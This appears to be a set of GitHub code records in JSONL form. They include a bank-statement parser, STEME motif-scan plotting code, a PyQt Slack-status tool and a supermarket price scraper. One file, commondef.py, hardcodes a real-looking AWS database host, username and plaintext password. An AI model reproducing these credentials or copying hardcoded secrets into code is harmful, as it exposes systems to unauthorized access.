day :)\\n\")\nmain()\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n    main()\n","repo_name":"Mark0l/virtual-assistant-python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"40514068760","text":"import re\nfrom utils.lines.line_start_w_date_allow_Oo import line_start_w_date_allow_Oo\n\n\n\ndef get_amount_str_from_debit_line(line):\n    return line.split()[-1]\n\n\n\ndef get_date_str_from_debit_line(line):\n    return line.split()[0]\n\n\n\ndef is_not_a_debit_line(line):\n    \"\"\" sometimes there are lines that we would like to be automatically removed from the debits section. AKA for these lines, the system won't even ask if user wants to ignore them. They will be removed before getting to that point \"\"\"\n\n    if (     \n             \"str1\" in line and \"another\" in line\n             or\n             \"str1\" in line and 'another' in line and \"another\" in line\n             or\n             \"str1\" in line and 'another' in line and 'another' in line\n       ):\n        return True\n\n    \"\"\" return False if there are no lines to remove in credits section\"\"\"\n    return False\n\n\n\ndef is_1st_line_of_debits(line, previous_line):\n    if ( \n           ( # a different approach. add more parens\n            'str' in line\n            and 'another' in previous_line\n            and len( line.split() ) < 2\n           )\n         or\n           (\n             'another' in line\n             and 'str' in previous_line\n           )\n       ):\n        return True\n    \n    return False\n\n\n\ndef is_last_line_of_debits(line, previous_line):\n    if ( \n            'str' in line\n            or\n            'str2' in previous_line\n            and len( line.split() ) < 2\n        ):\n        return True\n    \n    return False\n\n\n\ndef do_nothing_but_keep_debit_line( line, previous_line ):\n    \"\"\"\n    Debit lines to keep bc contains amount of next line\n    but don't do nothing with it ( as in don't ask if it contains a vendor )\n    \"\"\"\n    if (  \n            'str1' in line\n            and line_start_w_date_allow_Oo(previous_line)\n            or\n            bool(re.search('^\\d\\d-\\d\\d', previous_line ))\n            and bool(re.search('str', previous_line ))\n            and bool(re.search('str2', previous_line ))\n        ):\n        return True\n    \n    return False\n\n\n\ndef amount_is_in_previous_debit_line(line, previous_line):\n    \"\"\"\n        Sometimes a debit info takes 2 statement lines & the vendor is in the 2nd line while the amount is the previous line\n    \"\"\"\n    # return False # if debit info is in the same line(just 1 line per debit), in all debits\n\n    if (\n            line_start_w_date_allow_Oo( previous_line )\n            and'str' in previous_line\n        ):\n        return True\n\n    return False\n    \n\n\ndef date_is_in_previous_debit_line(line, previous_line):\n    if amount_is_in_previous_debit_line(line, previous_line):\n        return True\n    return False\n","repo_name":"rrhg/accounting-data-entry-helper","sub_path":"client_examples/example1/functions/debits_lines.py","file_name":"debits_lines.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"22178636096","text":"import logging\nlogger = logging.getLogger(__name__)\n\nfrom . import html_copy_static\nimport os\nimport pyicl\nimport pylab\nimport numpy\nimport bisect\nfrom cookbook.named_tuple import namedtuple\nfrom collections import defaultdict\nfrom itertools import ifilter\nfrom cookbook.pylab_utils import pylab_context_ioff, create_format_cycler\n# from cookbook.pylab_utils import simple_marker_styles\n\n\nSeqInfo = namedtuple('SeqInfo', 'name length')\nOccurrence = namedtuple(\n    'Occurrence', 'motif wmer seq pos strand Z score pvalue')\n\n\ndef footprint(occ):\n    \"\"\"Return the footprint (interval) of the occurrence.\n    \"\"\"\n    return pyicl.IntInterval(occ.pos, occ.pos + len(occ.wmer))\n\n\ndef parse_occurrence(line):\n    \"\"\"Parse one occurrence in the format outputted by steme-pwm-scan.\n    \"\"\"\n    fields = line.strip().split(',')\n    if 8 != len(fields):\n        raise RuntimeError('Wrong number of fields in line: %s' % line)\n    return Occurrence(\n        motif=fields[0],\n        wmer=fields[1],\n        seq=int(fields[2]),\n        pos=int(fields[3]),\n        strand=fields[4],\n        Z=float(fields[5]),\n        score=float(fields[6]),\n        pvalue=float(fields[7]),\n    )\n\n\ndef line_is_not_comment(line):\n    \"\"\"Is the line a comment? Comments start with '#'\n    \"\"\"\n    return not line.startswith('#')\n\n\ndef parse_occurrences(f):\n    \"\"\"Parse lines of occurrences in the format outputted by steme-pwm-scan.\n    \"\"\"\n    return map(parse_occurrence, ifilter(line_is_not_comment, f))\n\n\ndef parse_seq_info(line):\n    \"\"\"Parse one sequence info in the format outputted by steme-pwm-scan.\n    \"\"\"\n    fields = line.strip().split(',')\n    if 2 != len(fields):\n        raise RuntimeError('Wrong number of fields in line: %s' % line)\n    return SeqInfo(\n        name=fields[1],\n        length=int(fields[0])\n    )\n\n\ndef parse_seq_infos(f):\n    \"\"\"Parse lines of sequence infos in the format outputted by steme-pwm-scan.\n    \"\"\"\n    return map(parse_seq_info, ifilter(line_is_not_comment, f))\n\n\ndef load_occurrences(options):\n    \"\"\"Load the occurrences and associated sequence lengths.\n    \"\"\"\n    occurrences_filename = os.path.join(\n        options.results_dir, 'steme-pwm-scan.out')\n    seqs_filename = os.path.join(options.results_dir, 'steme-pwm-scan.seqs')\n    logger.info(\n        'Reading occurrences from: %s and sequence information from: %s',\n        occurrences_filename, seqs_filename)\n    return load_occurrences_from_stream(\n        open(occurrences_filename), open(seqs_filename))\n\n\ndef load_occurrences_from_stream(occurrences_stream, seqs_stream):\n    \"\"\"Load the occurrences and associated sequence lengths.\n    \"\"\"\n    #\n    # Read in the occurrences\n    #\n    occurrences = parse_occurrences(occurrences_stream)\n\n    #\n    # Read in the sequence lengths\n    #\n    seq_infos = parse_seq_infos(seqs_stream)\n\n    #\n    # Gather all the motifs\n    #\n    motifs = set(occ.motif for occ in occurrences)\n\n    #\n    # Sort the occurrences by position\n    #\n    logger.info('Sorting %d occurrences', len(occurrences))\n    occurrences.sort(key=lambda x: (x.seq, x.pos))\n\n    return occurrences, seq_infos, motifs\n\n\ndef add_options(parser):\n    \"\"\"Add options for spacing functionality to the parser.\n    \"\"\"\n    parser.add_option(\n        \"-r\",\n        \"--results-dir\",\n        default='.',\n        help=\"Look for results from PWM scan in DIR\",\n        metavar=\"DIR\"\n    )\n\n\ndef get_sites_by_motif(occurrences):\n    \"\"\"Organise occurrences by motif.\n    \"\"\"\n    by_motif = defaultdict(list)\n    for occ in occurrences:\n        by_motif[occ.motif].append(occ)\n    return by_motif\n\n\ndef plot_scores_per_motif(motifs, by_motif, format_cycler):\n    \"\"\"Plot the distribution of scores for each motif.\n    \"\"\"\n    lines = []\n    for i, motif in enumerate(motifs):\n        occs = by_motif[motif]\n        occs.sort(key=lambda occ: -occ.Z)\n        fmt = format_cycler(i)\n        lines.append(\n            pylab.plot(\n                numpy.arange(len(occs)),\n                # numpy.linspace(0, 1, num=len(occs)),\n                [occ.Z for occ in occs],\n                label=motif,\n                **fmt\n            )[0]\n        )\n    pylab.ylim(ymax=1)\n    pylab.ylabel('Z')\n    pylab.xlabel('sites')\n    pylab.title('Z by motif')\n    return lines\n\n\ndef plot_scaled_positions(occs, seq_infos, **kwargs):\n    scaled_positions = [(occ.pos + len(occ.wmer) / 2.)\n                        / seq_infos[occ.seq].length for occ in occs]\n    scaled_positions.sort()\n    return pylab.plot(\n        numpy.linspace(0, 1, num=len(scaled_positions)),\n        scaled_positions,\n        **kwargs\n    )[0]\n\n\ndef plot_site_positions(motifs, occs, by_motif, seq_infos, format_cycler):\n    \"\"\"Plot the positions of the sites in the sequences.\n    \"\"\"\n    lines = []\n    lines.append(plot_scaled_positions(\n        occs, seq_infos, label='ALL MOTIFS', c='k', linestyle='-'))\n    for i, motif in enumerate(motifs):\n        lines.append(plot_scaled_positions(\n            by_motif[motif], seq_infos, label=motif, **format_cycler(i)))\n    pylab.xlim(-.01, 1.01)\n    pylab.gca().get_xaxis().set_visible(False)\n    pylab.ylim(-.01, 1.01)\n    pylab.gca().get_yaxis().set_ticks((0, .5, 1))\n    pylab.gca().get_yaxis().set_ticklabels(('start', 'centre', 'end'))\n    pylab.title('Positions in sequences')\n    return lines\n\n\ndef calculate_num_sites_per_base(occs, seq_infos):\n    \"\"\"Calculate the density of sites in each sequence.\n    \"\"\"\n    num_sites_per_seq = numpy.zeros(len(seq_infos), dtype=int)\n    for occ in occs:\n        num_sites_per_seq[occ.seq] += 1\n    W = occs and len(occ.wmer) or 0\n    return numpy.array([\n        num_sites_per_seq[seq] and float(\n            num_sites_per_seq[seq]) / (seq_info.length - W + 1) or 0\n        for seq, seq_info\n        in enumerate(seq_infos)\n    ])\n\n\ndef plot_num_sites_per_seq(num_sites_per_base, **kwargs):\n    return pylab.plot(\n        numpy.arange(len(num_sites_per_base)),\n        num_sites_per_base,\n        **kwargs\n    )\n\n\ndef adjust_sequence_xaxis(axes, seq_infos):\n    axes.get_xaxis().set_ticks(())\n    axes.get_xaxis().set_ticklabels(())\n    pylab.xlabel('sequences')\n    axis_adjust = len(seq_infos) / 100.\n    pylab.xlim((- axis_adjust, len(seq_infos) - 1 + axis_adjust))\n\n\ndef calculate_per_motif_density(motifs, by_motif, seq_infos):\n    \"\"\"Calculate the sequence site density per motif.\n    \"\"\"\n    num_sites_per_base = numpy.empty((len(motifs), len(seq_infos)))\n    for m, motif in enumerate(motifs):\n        num_sites_per_base[m] = calculate_num_sites_per_base(\n            by_motif[motif], seq_infos)\n    return num_sites_per_base\n\n\ndef calculate_motif_best_Z_per_sequence(motifs, by_motif, numseqs):\n    \"\"\"Calculate a numpy array indexed by motif, then sequence\n    that represents the best score that motif had in that sequence\n    \"\"\"\n    result = numpy.zeros((len(motifs), numseqs))\n    for m, motif in enumerate(motifs):\n        result_row = result[m]\n        for occ in by_motif[motif]:\n            assert occ.motif == motif\n            result_row[occ.seq] = max(result_row[occ.seq], occ.Z)\n    return result\n\n\ndef hier_cluster_and_permute(matrix):\n    import scipy.cluster.hierarchy as hier\n    from scipy.spatial.distance import pdist\n\n    return hier.centroid(matrix)\n\n    D = pdist(matrix)  # upper triangle of distance matrix as vector\n    Y = hier.linkage(D, method='single')  # Cluster\n\n    # return permuted matrix and dendrogram\n    return Y\n\n\ndef plot_seq_coverage(best_Z, format_cycler):\n    \"\"\"Plot what proportion of sequences have sites for each motif at\n    each Z-score threshold.\"\"\"\n    lines = []\n    for i, motif_best_Z in enumerate(best_Z):\n        sorted_best_Z = numpy.sort(motif_best_Z)\n        first_non_zero = bisect.bisect(sorted_best_Z, 0)\n        lines.append(pylab.plot(\n            numpy.arange(best_Z.shape[1] - first_non_zero),\n            sorted_best_Z[first_non_zero:][::-1],\n            **format_cycler(i)))\n    pylab.ylabel('Z')\n    pylab.xlabel('sequences')\n    return lines\n\n\ndef plot_seq_coverage_lines(best_Z, format_cycler):\n    \"\"\"Plot what proportion of sequences have sites for each motif at\n    each Z-score threshold.\"\"\"\n    lines = []\n    for i, motif_best_Z in enumerate(best_Z):\n        sorted_best_Z = numpy.sort(motif_best_Z)\n        first_non_zero = bisect.bisect(sorted_best_Z, 0)\n        lines.append(pylab.plot(\n            numpy.arange(best_Z.shape[1] - first_non_zero),\n            sorted_best_Z[first_non_zero:][::-1],\n            **format_cycler(i)))\n    pylab.ylabel('Z')\n    pylab.xlabel('sequences')\n    return lines\n\n\ndef num_seq_clusters(num_seqs):\n    \"\"\"A heuristic to choose a number of clusters for the sequences based on\n    how many motifs there are.\"\"\"\n    return max(2, int(numpy.log(num_seqs)))\n\n\ndef plot_best_Z(motifs, best_Z):\n    \"\"\"Plot the best Z for each motif in each sequence.\n    \"\"\"\n    import scipy.cluster.hierarchy as hier\n    import scipy.cluster.vq as vq\n    fig = pylab.gcf()\n\n    # Cluster (hiearchical) Y axis\n    Y = hier.centroid(best_Z)\n    axdendro = fig.add_axes([0.01, 0.02, 0.18, 0.96])\n    axdendro.set_xticks([])\n    axdendro.set_frame_on(False)\n    dendro = hier.dendrogram(Y, labels=motifs, orientation='right')\n    best_Z_permuted = best_Z[dendro['leaves'], :]\n\n    # K-means cluster X axis\n    xcentroid, xlabel = vq.kmeans2(\n        best_Z.T, k=num_seq_clusters(best_Z.shape[1]))\n    best_Z_permuted = best_Z_permuted[:, numpy.argsort(xlabel)]\n\n    # Plot matrix\n    axmatrix = fig.add_axes([0.4, 0.02, 0.5, 0.96])\n    im = axmatrix.matshow(best_Z_permuted, aspect='auto', origin='lower')\n    axmatrix.set_xticks([])\n    axmatrix.set_yticks([])\n\n    # Plot colorbar\n    axcolor = fig.add_axes([0.91, 0.02, 0.02, 0.96])\n    pylab.colorbar(im, cax=axcolor)\n\n\ndef plot_collinearity(motifs, best_Z):\n    \"\"\"Plot the cooccurrences of motifs.\n    \"\"\"\n    import scipy.cluster.hierarchy as hier\n    # from scipy.stats import pearsonr\n    M = len(motifs)\n    cooccurrences = numpy.ones((M, M))\n    for m1 in xrange(M):\n        for m2 in xrange(M):\n            # both = sum(numpy.logical_and(m1seqs, m2seqs))\n            # cooccurrences[m1,m2] = both/float(sum(m2seqs))\n            cooccurrences[m1, m2] = \\\n                numpy.sqrt(sum(best_Z[m1] * best_Z[m2])) \\\n                / numpy.linalg.norm(best_Z[m2])\n            # rho, _ = pearsonr(best_Z[m1], best_Z[m2])\n            # cooccurrences[m1, m2] = rho\n    Y = hier.centroid(cooccurrences)\n    index = hier.fcluster(Y, -1) - 1\n    cooccurrences = cooccurrences[index, :]\n    cooccurrences = cooccurrences[:, index]\n    pylab.pcolor(cooccurrences)\n    pylab.colorbar()\n    ax = pylab.gca()\n    ax.set_xticks([])\n    # ax.set_xticks(.5 + numpy.arange(M))\n    # ax.set_xticklabels(motifs)\n    ax.set_yticks(.5 + numpy.arange(M))\n    ax.set_yticklabels(numpy.asarray(motifs)[index])\n    ax.set_xlim((0, M))\n    ax.set_ylim((0, M))\n    for line in ax.yaxis.get_ticklines():\n        line.set_markersize(0)\n    pylab.gcf().subplots_adjust(left=.27, bottom=.02, top=.98, right=.99)\n\n\ndef plot_seq_distribution(motifs, by_motif, seq_infos, format_cycler):\n    \"\"\"Plot the number of sites over the sequences.\n    \"\"\"\n    pylab.title('Number of sites by sequence')\n    lines = []\n    num_sites_per_base = calculate_per_motif_density(\n        motifs, by_motif, seq_infos)\n    # overall_site_density = num_sites_per_base.sum(axis=0)\n    # sortidx = overall_site_density.argsort()\n    for m, motif in enumerate(motifs):\n        num_sites_per_base[m].sort()\n        lines.append(plot_num_sites_per_seq(\n            num_sites_per_base[m, ::-1], label=motif, **format_cycler(m)))\n    # pylab.gca().set_yscale('log')\n    pylab.ylim(ymin=0)\n    pylab.ylabel('sites per base')\n    adjust_sequence_xaxis(pylab.gca(), seq_infos)\n    return lines\n\n\ndef plot_seq_lengths(seq_infos):\n    \"\"\"Plot sequence lengths.\n    \"\"\"\n    pylab.title('Sequence lengths')\n    lengths = [info.length for info in seq_infos]\n    pylab.scatter(\n        numpy.arange(len(seq_infos)),\n        lengths,\n        alpha=.2,\n        marker='o',\n        c='k'\n    )\n    lengths.sort()\n    pylab.plot(\n        numpy.arange(len(seq_infos)),\n        lengths,\n        linestyle='-',\n        linewidth=2,\n        c='g'\n    )\n    adjust_sequence_xaxis(pylab.gca(), seq_infos)\n    pylab.ylim(ymin=0)\n    pylab.ylabel('base pairs')\n\n\ndef plot_occs_by_motif(by_motif):\n    \"\"\"Plot # occurrences for each motif.\n    \"\"\"\n    sizes = [\n        (len(occs), sum(occ.Z for occ in occs), name)\n        for name, occs in by_motif.iteritems()]\n    # expected = [(len(occs), name) for name, occs in by_motif.iteritems()]\n    sizes.sort()\n    bar_positions = numpy.arange(len(sizes))\n    num_occs = numpy.asarray([s for s, e, n in sizes])\n    total_Z = numpy.asarray([e for s, e, n in sizes])\n    pylab.barh(\n        bar_positions,\n        num_occs,\n        # left=total_Z,\n        height=.8,\n        align='center',\n        label='Sites',\n        color='blue',\n    )\n    pylab.barh(\n        bar_positions,\n        total_Z,\n        height=.8,\n        align='center',\n        label='Total Z',\n        color='blue',\n        edgecolor='white',\n        hatch='/',\n    )\n    pylab.yticks(bar_positions, [n for x, e, n in sizes])\n    pylab.ylim(ymin=-.5, ymax=len(sizes) - .5)\n    pylab.xlabel('occurrences')\n    pylab.legend(loc='lower right')\n\n\ndef savefig(tag, options):\n    \"\"\"Save a figure to the results directory.\n    \"\"\"\n    pylab.savefig(\n        os.path.join(options.results_dir, 'scan-stats', '%s.png' % tag))\n\n\ndef create_figures(motifs, occs, by_motif, seq_infos, options):\n    \"\"\"Create figures.\n    \"\"\"\n\n    from stempy import ensure_dir_exists\n    ensure_dir_exists(os.path.join(options.results_dir, 'scan-stats'))\n\n    # Size of figlegend\n    if len(motifs) > 30:\n        size = 6\n    elif len(motifs) > 16:\n        size = 8\n    elif len(motifs) > 10:\n        size = 10\n    else:\n        size = 12\n    figlegendprops = {'size': size}\n\n    # Format cycler for line plots\n    format_cycler = create_format_cycler(\n        linestyle=['--', '-.', '-', ':'],\n        c=(\"#E69F00\", \"#56B4E9\", \"#009E73\", \"#F0E442\", \"#0072B2\",\n           \"#D55E00\", \"#CC79A7\"))\n\n    # Format cycler for marker plots\n    # format_cycler_marker = create_format_cycler(\n    #    marker=simple_marker_styles,\n    #    c=(\"#E69F00\", \"#56B4E9\", \"#009E73\", \"#F0E442\", \"#0072B2\",\n    #       \"#D55E00\", \"#CC79A7\"))\n\n    # Scan scores\n    pylab.figure(figsize=(6, 4))\n    lines = plot_scores_per_motif(motifs, by_motif, format_cycler)\n    savefig('scan-scores', options)\n    pylab.close()\n\n    # Scan legend\n    pylab.figure(figsize=(4.25, 4))\n    pylab.figlegend(lines, motifs, 'center', prop=figlegendprops)\n    savefig('scan-legend', options)\n    pylab.close()\n\n    # Best Z for each motif/sequence combination\n    pylab.figure(figsize=(6, 4))\n    best_Z = calculate_motif_best_Z_per_sequence(\n        motifs, by_motif, len(seq_infos))\n    plot_best_Z(motifs, best_Z)\n    savefig('scan-best-Z', options)\n    pylab.close()\n\n    # Scan motif cooccurrences\n    pylab.figure(figsize=(6, 4))\n    # pylab.figlegend(lines, motifs, 'center')\n    plot_collinearity(motifs, best_Z)\n    savefig('scan-collinearity', options)\n    pylab.close()\n\n    # Scan positions\n    pylab.figure(figsize=(6, 4))\n    lines = plot_site_positions(motifs, occs, by_motif, seq_infos,\n                                format_cycler)\n    savefig('scan-positions', options)\n    pylab.close()\n\n    # Scan legend with all\n    pylab.figure(figsize=(4.25, 4))\n    pylab.figlegend(\n        lines, ['ALL MOTIFS'] + motifs, 'center', prop=figlegendprops)\n    savefig('scan-legend-with-all', options)\n    pylab.close()\n\n    # Sequence coverage\n    pylab.figure(figsize=(6, 4))\n    plot_seq_coverage(best_Z, format_cycler)\n    savefig('scan-seq-coverage', options)\n    pylab.close()\n\n    # Scan sequences\n    pylab.figure(figsize=(6, 4))\n    lines = plot_seq_distribution(motifs, by_motif, seq_infos, format_cycler)\n    savefig('scan-sequences', options)\n    pylab.close()\n\n    # Scan legend with markers\n    # fig = pylab.figure(figsize=(4.25, 4))\n    # pylab.figlegend(lines, motifs, 'center', prop=figlegendprops)\n    # savefig('scan-legend-marker', options)\n    # pylab.close()\n\n    # Scan lengths\n    pylab.figure(figsize=(6, 4))\n    plot_seq_lengths(seq_infos)\n    savefig('scan-lengths', options)\n    pylab.close()\n\n    # Scan occurrences by motif\n    pylab.figure(figsize=(6, len(by_motif) / 4.))\n    pylab.subplots_adjust(left=.3, bottom=.1, right=.96, top=.98)\n    plot_occs_by_motif(by_motif)\n    savefig('scan-occs-by-motif', options)\n    pylab.close()\n\n\ndef create_html_output(dataset_name, motifs, occurrences, by_motif, seq_infos,\n                       options):\n    \"\"\"Create HTML output.\n    \"\"\"\n    from jinja2 import Environment, PackageLoader\n    env = Environment(loader=PackageLoader('stempy', 'templates'))\n    template = env.get_template('scan-stats.html')\n\n    # copy the static info\n    static_dir = os.path.join(options.results_dir, 'static')\n    html_copy_static(static_dir)\n\n    # write the HTML\n    filename = os.path.join(options.results_dir, 'scan-stats.html')\n    logger.info('Writing STEME scan statistics as HTML to %s', filename)\n    num_bases = sum(info.length for info in seq_infos)\n    with open(filename, 'w') as f:\n        variables = {\n            'dataset_name': dataset_name,\n            'num_sites': len(occurrences),\n            'num_motifs': len(motifs),\n            'num_seqs': len(seq_infos),\n            'num_bases': num_bases,\n            'options': options,\n            'num_seq_clusters': num_seq_clusters(len(seq_infos)),\n        }\n        f.write(template.render(**variables))\n\n    # create the figures\n    if len(occurrences):\n        with pylab_context_ioff():\n            create_figures(motifs, occurrences, by_motif, seq_infos, options)\n\n\ndef write_seq_centric_stats(out, motifs, occurrences, seq_infos, options):\n    \"\"\"Write sequence-centric stats in CSV format to a file.\"\"\"\n    def zero_num():\n        return numpy.zeros(len(seq_infos), dtype=int)\n\n    def zero_exp():\n        return numpy.zeros(len(seq_infos), dtype=float)\n\n    num_hits = defaultdict(zero_num)  # Number of hits\n    exp_hits = defaultdict(zero_exp)  # Expected hits\n    for occ in occurrences:\n        num_hits[occ.motif][occ.seq] += 1\n        exp_hits[occ.motif][occ.seq] += occ.Z\n    motifs = num_hits.keys()\n    print >>out, '# Length,ID,Total,Expected,%s' % ','.join(\n        '%s,E(%s)' % (m, m) for m in motifs)\n    for seq, seqinfo in enumerate(seq_infos):\n        print >>out, \"%d,%s,%d,%.4f,%s\" % (\n            seqinfo.length,\n            seqinfo.name,\n            sum(num_hits[m][seq] for m in motifs),\n            sum(exp_hits[m][seq] for m in motifs),\n            ','.join('%d,%.4f' % (num_hits[m][seq], exp_hits[m][seq])\n                     for m in motifs))\n","repo_name":"JohnReid/STEME","sub_path":"python/stempy/scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":18771,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"835552111","text":"# -*- coding: utf-8 -*-\nimport requests,sys,os\nimport yaml\nfrom PyQt5.QtWidgets import QApplication,QWidget,QGridLayout,QPushButton\nfrom PyQt5.QtGui import QIcon\n\nSLACK_TOKEN = os.environ['SLACK_TOKEN']\nAPI_URL = 'https://{0}/api/users.profile.set'.format(os.environ['SLACK_DOMAIN'])\n\ndef change_status(icon,message):\n    message = '\"status_text\":\"{0}\"'.format(message)\n    payload = {\n        'token' : SLACK_TOKEN,\n        'profile' : '{\"status_emoji\":\":%s:\",%s}' % (icon,message)\n    }\n    res = requests.post(API_URL,params=payload)\n\ndef click_ok():\n    change_status('ok','話しかけても大丈夫です！')\n\ndef click_busy():\n    change_status('warning','集中して作業中！火急の要件でなければ暫く後にしてください。')\n\ndef click_ng():\n    change_status('x','本番作業中！障害以外は後にしてください。')\n\ndef click_sm():\n    change_status('smoking','屋上にいます。')\n\ndef main():\n    app = QApplication(sys.argv)\n    app.setWindowIcon(QIcon('icon.png'))\n    w = QWidget()\n    w.setWindowTitle(\"Status for slack\")\n    w.setGeometry(300, 300, 200, 150)\n    w.setMinimumHeight(100)\n    w.setMinimumWidth(250)\n    w.setMaximumHeight(100)\n    grid = QGridLayout()\n    w.setLayout(grid)\n    button_ok = QPushButton('OK')\n    button_busy = QPushButton('Busy')\n    button_sm = QPushButton('Smoking')\n    button_ng = QPushButton('NG')\n    button_ok.clicked.connect(click_ok)\n    button_busy.clicked.connect(click_busy)\n    button_sm.clicked.connect(click_sm)\n    button_ng.clicked.connect(click_ng)\n    grid.addWidget(button_ok, 0,0)\n    grid.addWidget(button_ng, 0,1)\n    grid.addWidget(button_busy, 1,0)\n    grid.addWidget(button_sm, 1,1)\n    w.show()\n    sys.exit(app.exec_())\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"kaiyujin/Signboard_py","sub_path":"pyqt_slack.py","file_name":"pyqt_slack.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"26775014813","text":"#! usr/bin/python\n#coding=utf-8\n# -*- coding:cp936 -*-\n\nDBURL = 'ec2-54-222-205-139.cn-north-1.compute.amazonaws.com.cn'\nSQLNAME = 'lwglucky'\nDBNAME =  'stocktest' # 'stocktest'  # 'stocku'\nDBPWD = 'lwglucky518518'\n\ndef GetDbConnectionStr():\n    str = \"mysql://root:%s@%s/%s?charset=utf8\" % (DBPWD, DBURL,DBNAME)\n    return str","repo_name":"lwglucky/stock","sub_path":"commondef.py","file_name":"commondef.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"29522282389","text":"\nimport pygame\nfrom Square.NoneSquare import NoneSquare\nfrom Square.NormalSquare import NormalSquare\nfrom Square.Square import Square\n\nclass XToggleSquare(Square):\n\n    XColor = pygame.Color(255,255,255)\n\n    def __init__(self, xPosition, yPosition) -> None:\n        super().__init__(xPosition, yPosition)\n        self.canClose = False\n        self.canOpen = False\n        self.targets = [] # target = [Square, Square]\n\n    def render(self, screen):\n        super().render(screen)\n        message = \"X\"\n        font = pygame.font.Font('freesansbold.ttf', 40)\n        text = font.render(message, True, self.XColor)\n        screen.blit(text, ((self.xPosition+0.15)*self.width, (self.yPosition+0.2)*self.height))\n        pygame.display.update(pygame.rect.Rect(self.xPosition*Square.width, self.yPosition*Square.height, Square.width, Square.height))\n\n    def isTargetOpened(self):\n        return self.targets[0].enabled\n        # return True if isinstance(self.targets[0], NormalSquare) else False\n\n    def isTargetClosed(self):\n        return not(self.targets[0].enabled)\n        # return True if isinstance(self.targets[0], NoneSquare) else False\n\n    def openTarget(self, screen = None):\n        if not(self.canOpen): return\n        # print(\"opening\")\n        for i in range(len(self.targets)):\n            self.targets[i].enabled = not(self.targets[i].enabled)\n            if screen:\n                self.targets[i].render(screen)\n\n\n    def closeTarget(self, screen = None):\n        if not self.canClose: return\n        # print(\"closing\")\n        for i in range(len(self.targets)):\n            self.targets[i].enabled = not(self.targets[i].enabled)\n            if screen:\n                self.targets[i].render(screen)\n\n            \n    def toggle(self, screen = None):\n        # print(\"toggle\")\n        if self.isTargetOpened():\n            # print(\"is open\")\n            self.closeTarget(screen)\n        elif self.isTargetClosed():\n            # print(\"is close\")\n            self.openTarget(screen)\n            \n\n    def addTarget(self, target):\n        self.targets.append(target)\n    \n    def setProperty(self, char):\n        if char == \"!\":\n            self.canOpen = True\n            self.canClose = True\n        if char == \"@\":\n            self.canOpen = True\n        if char == \"#\":\n            self.canClose = True\n        \n\n    def __str__(self) -> str:\n        string = ''\n        for square in self.targets:\n            string += \"(\" + str(square.xPosition) + \",\" + str(square.yPosition) + \")\"\n        if self.canOpen:\n            string += \"  can open  \"\n        if self.canClose:\n            string += \"   can close   \"\n        return string","repo_name":"ngocthanh-hcmut/AI-Assignment-1","sub_path":"BLOXORZ/Genetic/Square/XToggleSquare.py","file_name":"XToggleSquare.py","file_ext":"py","file_size_in_byte":2656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"20262215536","text":"from bs4 import BeautifulSoup\nfrom selenium import webdriver\nimport pandas\nimport string\nimport time\n\nimport modules.data.sqlite as sqlite\nfrom os.path import abspath\n\nimport modules.webdriver.driver as chrome\n\nfrom flask import Blueprint, request\n\nhiperlibertad_api = Blueprint('hiperlibertad_api', __name__)\n\ndef getPriceLote(driver: webdriver, arrInput, column):    \n  val = None\n  for indice, row in enumerate(arrInput): \n    url = row[6]\n    if url:\n      val = getPrice(driver, url)\n    else:\n      val = 'SD'\n    \n    sqlite.insert_output_price(int(indice) + 1, column, val)      \n    val = None\n\ndef getPrice(driver: webdriver, url: string):     \n  gradual = '0'\n  posGradual = url.find('|http')    \n  if posGradual > 0:\n    gradual = url[0 : posGradual]\n    url = url[posGradual + 1 : len(url)]\n  \n  driver.get(url)\n  html = driver.page_source  \n  val = parse(html)\n\n  if val != 'ERR' and float(gradual) > 0:\n    isOferta = False\n    if '*' in val:\n      val = val[1:]\n      isOferta = True\n          \n    val = float(val.replace(',','.')) * float(gradual)   \n    val = round(val,2)   \n    val = str(val).replace('.',',')        \n\n    if isOferta:\n      val = '* ' + val\n\n  val = val.replace('.','')    \n  return val\n  \ndef parse(html: string):\n  try:\n    element = BeautifulSoup(html, 'lxml')\n\n    element = element.find('div','styles__Container-sc-1ovmlws-1')\n    isOferta = element.find('p', 'styles__ListPrice-sc-1ovmlws-11')    \n    \n    if isOferta == None:\n      precio = element.find('p', 'styles__BestPrice-sc-1ovmlws-12') \n    \n      if precio.text: \n        return precio.text.split('$')[1]\n    else:\n      precio = element.find('p', 'styles__BestPrice-sc-1ovmlws-12') \n    \n      if precio.text: \n        return '* ' + precio.text.split('$')[1]\n\n    return 'ERR'\n  except:\n    return 'ERR'\n  \n@hiperlibertad_api.route('/hiperlibertad/get_price', methods=[\"GET\"])\ndef getPriceByURL():       \n  url = request.args.get('url')\n  pos = request.args.get('pos')\n\n  gradual = '0'\n  posGradual = url.find('|http')    \n  if posGradual > 0:\n    gradual = url[0 : posGradual]\n    url = url[posGradual + 1 : len(url)]\n    \n  if url is not None:\n    driver = chrome.init()    \n    driver.get(\"https://hiperlibertad.com.ar\")\n    driver.get(url)        \n    time.sleep(1)\n    html = driver.page_source    \n    chrome.quit(driver)\n    \n    val = parse(html)   \n\n    if val != 'ERR' and float(gradual) > 0:\n      isOferta = False\n      if '*' in val:\n        val = val[1:]\n        isOferta = True\n\n      val = float(val.replace(',','.')) * float(gradual)     \n      val = round(val,2) \n      val = str(val).replace('.',',')      \n    \n      if isOferta:\n        val = '* ' + val\n\n    val = val.replace('.','')    \n    sqlite.insert_output_price(int(pos) + 1,'hiperlibertad', val)\n    return val   \n  else: \n    sqlite.insert_output_price(int(pos) + 1,'hiperlibertad', 'SD')            \n    return 